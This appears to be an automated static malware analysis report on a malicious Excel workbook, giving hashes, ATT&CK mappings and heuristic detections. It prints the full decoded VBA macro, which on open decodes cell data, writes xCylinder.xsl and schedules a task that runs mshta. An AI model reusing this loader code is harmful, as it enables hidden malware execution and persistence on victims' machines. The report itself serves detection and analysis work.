Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4f096a8c2bfe78d9…

MALICIOUS

Office (OOXML)

134.2 KB Created: 2000-04-13 21:48:14 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-07-10
MD5: cdb6138ff4ea7542bc16b7ed16dad315 SHA-1: de8aa97c4bc6ae869f8609cb55b841e34b9e3a19 SHA-256: 4f096a8c2bfe78d9ed6d36423e9412efd7676717c98185f7244387279a608cbe
176 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1037.004 Environmental Variable T1105 Ingress Tool Transfer

The sample contains a Workbook_Open macro that executes obfuscated VBA code. This code attempts to construct a payload filename 'Cylinder.xsl' using the ALLUSERSPROFILE environment variable and save it to disk. It also attempts to schedule a task using the Schedule.Service COM object, likely to execute the downloaded payload.

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Set xDialogPrint = xXYScatterLinesNoMarkers.Actions.Create(xLess)
        xDialogPrint.Path = "mshta"
        xDialogPrint.Arguments = xErrorBarTypePercent
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Next xStockHLC
        With CreateObject("Scripting.FileSystemObject")
        Set xSourcePrintArea = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xCylinder.xsl")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub Workbook_Open()
        On Error GoTo xDialogFormatMove
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        With CreateObject("Scripting.FileSystemObject")
        Set xSourcePrintArea = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xCylinder.xsl")
        End With

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3628 bytes
SHA-256: 3e19affc333ab4dfe15a61896c3f249787831f8eea50f7e43e17c4d6821a7ba2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
    On Error GoTo xDialogFormatMove
    xStDevP = 1 / 0
xDialogFormatMove:
        If Err.Number <> 0 Then
            xLong = "Thank You!"
            MsgBox xLong, , "Good", Err.HelpFile, Err.HelpContext
            xDialogGridlines = xVAlignJustify()
        End If
End Sub

Function xVAlignJustify()
    For Each xStockHLC In ActiveWorkbook.Sheets("Sheet1").Range("AN45:CA3587")
        If xStockHLC.Value > 0 And Len(xErrorBarTypePercent) < 199 Then
            xErrorBarTypePercent = xErrorBarTypePercent & Chr(xStockHLC.Value)
        ElseIf xStockHLC.Value > 0 Then
            xFixedWidth = xFixedWidth & Chr(xStockHLC.Value)
        End If
    Next xStockHLC
    With CreateObject("Scripting.FileSystemObject")
    Set xSourcePrintArea = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xCylinder.xsl")
    End With
    Const xNotes = 1
    Const xLess = 0
    Set xIBeam = CreateObject("Schedule.Service")
    Call xIBeam.Connect
    Set xWide = xIBeam.GetFolder("")
    Set xXYScatterLinesNoMarkers = xIBeam.NewTask(0)
    Set xPivotCellDataField = xXYScatterLinesNoMarkers.RegistrationInfo
    xPivotCellDataField.Description = "Updates"
    xPivotCellDataField.Author = "The Company"
    Set xOutside = xXYScatterLinesNoMarkers.Principal
    xOutside.LogonType = 3
    Set xDialogDataLabelMultiple = xXYScatterLinesNoMarkers.Settings
    xDialogDataLabelMultiple.Enabled = True
    xDialogDataLabelMultiple.StartWhenAvailable = True
    xDialogDataLabelMultiple.Hidden = False
    Set xDialogChartLocation = xXYScatterLinesNoMarkers.Triggers
    Set xClipboardFormatSYLK = xDialogChartLocation.Create(xNotes)
    xArea = DateAdd("s", 120, Now)
    xArrowHeadStyleDoubleOpen = xDialogMacroOptions(xArea)
    xArea = DateAdd("n", 5, Now)
    xExclusive = xDialogMacroOptions(xArea)
    xClipboardFormatSYLK.StartBoundary = xArrowHeadStyleDoubleOpen
    With xSourcePrintArea
        .Write xFixedWidth
    End With
    xClipboardFormatSYLK.EndBoundary = xExclusive
    xClipboardFormatSYLK.ID = "TimeTriggerId"
    xClipboardFormatSYLK.Enabled = True
    Set xDialogPrint = xXYScatterLinesNoMarkers.Actions.Create(xLess)
    xDialogPrint.Path = "mshta"
    xDialogPrint.Arguments = xErrorBarTypePercent
    Call xWide.RegisterTaskDefinition("2021 Updates", xXYScatterLinesNoMarkers, 6, , , 3)
End Function


Function xDialogMacroOptions(xListBox)
    xArrowHeadWidthNarrow = "0" & Second(xListBox)
    xDialogChartType = "0" & Minute(xListBox)
    xDialogWebOptionsPictures = "0" & Hour(xListBox)
    xFill = "0" & Day(xListBox)
    xCylinderBarClustered = "0" & Month(xListBox)
    xSystem = Year(xListBox)
    xDialogGalleryPie = Right(xDialogWebOptionsPictures, 2) & ":" & Right(xDialogChartType, 2) & ":" & Right(xArrowHeadWidthNarrow, 2)
    xDialogSubscribeTo = xSystem & "-" & Right(xCylinderBarClustered, 2) & "-" & Right(xFill, 2)
    xDialogMacroOptions = xDialogSubscribeTo & "T" & xDialogGalleryPie
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16896 bytes
SHA-256: 62d3c6f2e6df8f9048d171b8a16e907954485e0c66b19582e486b6ff9fe885e2